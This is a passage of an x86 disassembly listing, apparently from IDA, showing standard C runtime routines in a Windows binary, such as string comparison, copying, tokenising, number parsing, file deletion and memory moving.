		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_418211


loc_41820B:				; CODE XREF: sub_4180B6+147j
		or	[ebp+arg_C], 4
		jmp	short loc_41821A
; ---------------------------------------------------------------------------


loc_418211:				; CODE XREF: sub_4180B6+145j
					; sub_4180B6+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_41821A:				; CODE XREF: sub_4180B6+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_41818B
; ---------------------------------------------------------------------------


loc_418227:				; CODE XREF: sub_4180B6+125j
					; sub_4180B6+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_418245
		test	edx, edx
		jz	short loc_41823F
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_41823F:				; CODE XREF: sub_4180B6+181j
		and	[ebp+var_8], 0
		jmp	short loc_418292
; ---------------------------------------------------------------------------


loc_418245:				; CODE XREF: sub_4180B6+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_41826B
		test	cl, 1
		jnz	short loc_418292
		and	ecx, 2
		jz	short loc_418262
		cmp	[ebp+var_8], 80000000h
		ja	short loc_41826B


loc_418262:				; CODE XREF: sub_4180B6+1A1j
		test	ecx, ecx
		jnz	short loc_418292
		cmp	[ebp+var_8], eax
		jbe	short loc_418292


loc_41826B:				; CODE XREF: sub_4180B6+197j
					; sub_4180B6+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4D86D0, 22h
		jz	short loc_418281
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_418292
; ---------------------------------------------------------------------------


loc_418281:				; CODE XREF: sub_4180B6+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_418292:				; CODE XREF: sub_4180B6+18Dj
					; sub_4180B6+19Cj ...
		test	edx, edx
		jz	short loc_41829B
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_41829B:				; CODE XREF: sub_4180B6+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_4182A9
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_4182A9:				; CODE XREF: sub_4180B6+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_4182B9
; ---------------------------------------------------------------------------


loc_4182AE:				; CODE XREF: sub_4180B6+66j
					; sub_4180B6+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_4182B7
		mov	[eax], edi


loc_4182B7:				; CODE XREF: sub_4180B6+1FDj
		xor	eax, eax


loc_4182B9:				; CODE XREF: sub_4180B6+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4180B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4182BE	proc near		; CODE XREF: sub_401AC7+58FAp
					; sub_401AC7+601Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_4180B6
		add	esp, 10h
		retn
sub_4182BE	endp


; =============== S U B	R O U T	I N E =======================================



sub_4182D5	proc near		; CODE XREF: sub_401AC7+50B5p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_423080	; DeleteFileA
		test	eax, eax
		jnz	short loc_4182EB
		call	dword_42308C	; RtlGetLastWin32Error
		jmp	short loc_4182ED
; ---------------------------------------------------------------------------


loc_4182EB:				; CODE XREF: sub_4182D5+Cj
		xor	eax, eax


loc_4182ED:				; CODE XREF: sub_4182D5+14j
		test	eax, eax
		jz	short loc_4182FC
		push	eax
		call	sub_41BEC4
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_4182FC:				; CODE XREF: sub_4182D5+1Aj
		xor	eax, eax
		retn
sub_4182D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4182FF	proc near		; CODE XREF: sub_401AC7+500Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41BF2B
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41B184
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_41BFB8
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4182FF	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418340	proc near		; CODE XREF: sub_401AC7+19D7p
					; sub_401AC7+19F6p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_418361
		xor	eax, eax
		jmp	short loc_418363
; ---------------------------------------------------------------------------


loc_418361:				; CODE XREF: sub_418340+1Bj
		mov	eax, edi


loc_418363:				; CODE XREF: sub_418340+1Fj
		cld
		pop	edi
		leave
		retn
sub_418340	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418370	proc near		; CODE XREF: sub_401AC7+7EAp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_4183A1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41839F
		jz	short loc_4183A1
		dec	ecx
		dec	ecx


loc_41839F:				; CODE XREF: sub_418370+29j
		not	ecx


loc_4183A1:				; CODE XREF: sub_418370+9j
					; sub_418370+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_418370	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4183B0	proc near		; CODE XREF: sub_401AC7+42Cp
					; sub_401AC7+2A89p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_418421
sub_4183B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4183C0	proc near		; CODE XREF: sub_401AC7+435p
					; sub_401AC7+69B0p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_4183DC


loc_4183CD:				; CODE XREF: sub_4183C0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41840F
		test	ecx, 3
		jnz	short loc_4183CD


loc_4183DC:				; CODE XREF: sub_4183C0+Bj
					; sub_4183C0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_4183DC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41841E
		test	ah, ah
		jz	short loc_418419
		test	eax, 0FF0000h
		jz	short loc_418414
		test	eax, 0FF000000h
		jz	short loc_41840F
		jmp	short loc_4183DC
; ---------------------------------------------------------------------------


loc_41840F:				; CODE XREF: sub_4183C0+12j
					; sub_4183C0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_418421
; ---------------------------------------------------------------------------


loc_418414:				; CODE XREF: sub_4183C0+44j
		lea	edi, [ecx-2]
		jmp	short loc_418421
; ---------------------------------------------------------------------------


loc_418419:				; CODE XREF: sub_4183C0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_418421
; ---------------------------------------------------------------------------


loc_41841E:				; CODE XREF: sub_4183C0+39j
		lea	edi, [ecx-4]


loc_418421:				; CODE XREF: sub_4183B0+5j
					; sub_4183C0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_418446


loc_41842D:				; CODE XREF: sub_4183C0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_418498
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41842D
		jmp	short loc_418446
; ---------------------------------------------------------------------------


loc_418441:				; CODE XREF: sub_4183C0+9Ej
					; sub_4183C0+B8j
		mov	[edi], edx
		add	edi, 4


loc_418446:				; CODE XREF: sub_4183C0+6Bj
					; sub_4183C0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_418441
		test	dl, dl
		jz	short loc_418498
		test	dh, dh
		jz	short loc_41848F
		test	edx, 0FF0000h
		jz	short loc_418482
		test	edx, 0FF000000h
		jz	short loc_41847A
		jmp	short loc_418441
; ---------------------------------------------------------------------------


loc_41847A:				; CODE XREF: sub_4183C0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_418482:				; CODE XREF: sub_4183C0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41848F:				; CODE XREF: sub_4183C0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_418498:				; CODE XREF: sub_4183C0+72j
					; sub_4183C0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_4183C0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4184B0


loc_4184A0:				; CODE XREF: sub_4184B0+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_4184B0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4184B0	proc near		; CODE XREF: sub_401AC7+411p
					; sub_401AC7+4C0p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 004184A0 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_4184B6:				; CODE XREF: sub_417E10+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_4184DB


loc_4184C8:				; CODE XREF: sub_4184B0+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_4184A0
		test	cl, cl
		jz	short loc_418524
		test	edx, 3
		jnz	short loc_4184C8


loc_4184DB:				; CODE XREF: sub_4184B0+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_4184E6:				; CODE XREF: sub_4184B0+61j
					; sub_4184B0+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_418528
		and	eax, 81010100h
		jz	short loc_4184E6
		and	eax, 1010100h
		jnz	short loc_418522
		and	esi, 80000000h
		jnz	short loc_4184E6


loc_418522:				; CODE XREF: sub_4184B0+68j
					; sub_4184B0+81j ...
		pop	esi
		pop	edi


loc_418524:				; CODE XREF: sub_4184B0+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_418528:				; CODE XREF: sub_4184B0+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_418565
		test	al, al
		jz	short loc_418522
		cmp	ah, bl
		jz	short loc_41855E
		test	ah, ah
		jz	short loc_418522
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_418557
		test	al, al
		jz	short loc_418522
		cmp	ah, bl
		jz	short loc_418550
		test	ah, ah
		jz	short loc_418522
		jmp	short loc_4184E6
; ---------------------------------------------------------------------------


loc_418550:				; CODE XREF: sub_4184B0+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_418557:				; CODE XREF: sub_4184B0+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41855E:				; CODE XREF: sub_4184B0+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_418565:				; CODE XREF: sub_4184B0+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_4184B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418570	proc near		; CODE XREF: sub_401AC7+1AEp
					; sub_401AC7+205p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_4185BC


loc_418580:				; CODE XREF: sub_418570+3Cj
					; sub_418570+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_4185B4
		or	al, al
		jz	short loc_4185B0
		cmp	ah, [ecx+1]
		jnz	short loc_4185B4
		or	ah, ah
		jz	short loc_4185B0
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_4185B4
		or	al, al
		jz	short loc_4185B0
		cmp	ah, [ecx+3]
		jnz	short loc_4185B4
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_418580
		mov	edi, edi


loc_4185B0:				; CODE XREF: sub_418570+18j
					; sub_418570+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4185B4:				; CODE XREF: sub_418570+14j
					; sub_418570+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4185BC:				; CODE XREF: sub_418570+Ej
		test	edx, 1
		jz	short loc_4185D8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_4185B4
		inc	ecx
		or	al, al
		jz	short loc_4185B0
		test	edx, 2
		jz	short loc_418580


loc_4185D8:				; CODE XREF: sub_418570+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_4185B4
		or	al, al
		jz	short loc_4185B0
		cmp	ah, [ecx+1]
		jnz	short loc_4185B4
		or	ah, ah
		jz	short loc_4185B0
		add	ecx, 2
		jmp	short loc_418580
sub_418570	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185F4	proc near		; CODE XREF: sub_401AC7+B5p
					; sub_401AC7+D5p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_41860D:				; CODE XREF: sub_4185F4+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_41860D
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_418635
		mov	edx, dword_4D871C


loc_418635:				; CODE XREF: sub_4185F4+39j
					; sub_4185F4+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_418655
		test	al, al
		jz	short loc_418655
		inc	edx
		jmp	short loc_418635
; ---------------------------------------------------------------------------


loc_418655:				; CODE XREF: sub_4185F4+58j
					; sub_4185F4+5Cj
		mov	ebx, edx


loc_418657:				; CODE XREF: sub_4185F4+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_41867B
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_418677
		inc	edx
		jmp	short loc_418657
; ---------------------------------------------------------------------------


loc_418677:				; CODE XREF: sub_4185F4+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_41867B:				; CODE XREF: sub_4185F4+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4D871C, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_4185F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418690	proc near		; CODE XREF: sub_408C17+1Cp
					; sub_413BD2+19p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41B184
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_4186CE
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_4186DB
; ---------------------------------------------------------------------------


loc_4186CE:				; CODE XREF: sub_418690+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41B06F
		pop	ecx
		pop	ecx


loc_4186DB:				; CODE XREF: sub_418690+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418690	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186E0	proc near		; CODE XREF: sub_40A0F7+88p
					; sub_40A757+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_418794
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41870A


loc_4186FB:				; CODE XREF: sub_4186E0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41873B
		test	edi, 3
		jnz	short loc_4186FB


loc_41870A:				; CODE XREF: sub_4186E0+19j
					; sub_4186E0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41870A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_418748
		test	ah, ah
		jz	short loc_418743
		test	eax, 0FF0000h
		jz	short loc_41873E
		test	eax, 0FF000000h
		jnz	short loc_41870A


loc_41873B:				; CODE XREF: sub_4186E0+20j
		dec	edi
		jmp	short loc_41874B
; ---------------------------------------------------------------------------


loc_41873E:				; CODE XREF: sub_4186E0+52j
		sub	edi, 2
		jmp	short loc_41874B
; ---------------------------------------------------------------------------


loc_418743:				; CODE XREF: sub_4186E0+4Bj
		sub	edi, 3
		jmp	short loc_41874B
; ---------------------------------------------------------------------------


loc_418748:				; CODE XREF: sub_4186E0+47j
		sub	edi, 4


loc_41874B:				; CODE XREF: sub_4186E0+5Cj
					; sub_4186E0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_418760
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_4187AC
		jmp	short loc_41877C
; ---------------------------------------------------------------------------


loc_418760:				; CODE XREF: sub_4186E0+75j
					; sub_4186E0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41879A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_418790
		test	esi, 3
		jnz	short loc_418760
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_4187AC


loc_41877C:				; CODE XREF: sub_4186E0+7Ej
					; sub_4186E0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_418790


loc_418783:				; CODE XREF: sub_4186E0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_418792
		dec	ecx
		jnz	short loc_418783


loc_418790:				; CODE XREF: sub_4186E0+8Bj
					; sub_4186E0+A1j
		mov	[edi], cl


loc_418792:				; CODE XREF: sub_4186E0+ABj
		pop	ebx
		pop	esi


loc_418794:				; CODE XREF: sub_4186E0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41879A:				; CODE XREF: sub_4186E0+85j
					; sub_4186E0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4187A4:				; CODE XREF: sub_4186E0+E4j
					; sub_4186E0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41877C


loc_4187AC:				; CODE XREF: sub_4186E0+7Cj
					; sub_4186E0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_4187A4
		test	dl, dl
		jz	short loc_41879A
		test	dh, dh
		jz	short loc_4187F8
		test	edx, 0FF0000h
		jz	short loc_4187E8
		test	edx, 0FF000000h
		jnz	short loc_4187A4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4187E8:				; CODE XREF: sub_4186E0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4187F8:				; CODE XREF: sub_4186E0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_4186E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418810	proc near		; CODE XREF: sub_40B0A8+15p
					; sub_40B0A8+3Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_418830
		cmp	edi, eax
		jb	loc_4189A8


loc_418830:				; CODE XREF: sub_418810+16j
		test	edi, 3
		jnz	short loc_41884C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41886C
		rep movsd
		jmp	off_418958[edx*4]
; ---------------------------------------------------------------------------


loc_41884C:				; CODE XREF: sub_418810+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_418864
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41886C+4[eax*4]
; ---------------------------------------------------------------------------


loc_418864:				; CODE XREF: sub_418810+46j
		jmp	dword ptr loc_418968[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41886C:				; CODE XREF: sub_418810+31j
					; sub_418810+8Ej ...
		jmp	off_4188EC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		or	byte ptr [eax-7753FFBFh], 41h
		add	al, dl
		mov	[ecx+0], al
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41886C
		rep movsd
		jmp	off_418958[edx*4]
; ---------------------------------------------------------------------------
		align 4
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41886C
		rep movsd
		jmp	off_418958[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41886C
		rep movsd
		jmp	off_418958[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4188EC	dd offset loc_41894F	; DATA XREF: sub_418810:loc_41886Cr
		dd offset loc_41893C
		dd offset loc_418934
		dd offset loc_41892C
		dd offset loc_418924
		dd offset loc_41891C
		dd offset loc_418914
		dd offset loc_41890C
; ---------------------------------------------------------------------------


loc_41890C:				; CODE XREF: sub_418810:loc_41886Cj
					; DATA XREF: sub_418810+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_418914:				; CODE XREF: sub_418810:loc_41886Cj
					; DATA XREF: sub_418810+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41891C:				; CODE XREF: sub_418810:loc_41886Cj
					; DATA XREF: sub_418810+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_418924:				; CODE XREF: sub_418810:loc_41886Cj
					; DATA XREF: sub_418810+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41892C:				; CODE XREF: sub_418810:loc_41886Cj
					; DATA XREF: sub_418810+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_418934:				; CODE XREF: sub_418810:loc_41886Cj
					; DATA XREF: sub_418810+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41893C:				; CODE XREF: sub_418810:loc_41886Cj
					; DATA XREF: sub_418810+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41894F:				; CODE XREF: sub_418810:loc_41886Cj
					; DATA XREF: sub_418810:off_4188ECo
		jmp	off_418958[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_418958	dd offset loc_418968	; DATA XREF: sub_418810+35r
					; sub_418810+92r ...
		dd offset loc_418970
		dd offset loc_41897C
		dd offset loc_418990
; ---------------------------------------------------------------------------


loc_418968:				; CODE XREF: sub_418810+35j
					; sub_418810+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_418970:				; CODE XREF: sub_418810+35j
					; sub_418810+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41897C:				; CODE XREF: sub_418810+35j
					; sub_418810+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_418990:				; CODE XREF: sub_418810+35j
					; sub_418810+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4189A8:				; CODE XREF: sub_418810+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_4189DC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4189D0
		std
		rep movsd
		cld
		jmp	off_418AF0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_4189D0:				; CODE XREF: sub_418810+1B1j
					; sub_418810+208j ...
		neg	ecx
		jmp	dword ptr loc_418A9F+1[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4189DC:				; CODE XREF: sub_418810+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_4189F4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_4189F4+4[eax*4]
; ---------------------------------------------------------------------------


loc_4189F4:				; CODE XREF: sub_418810+1D6j
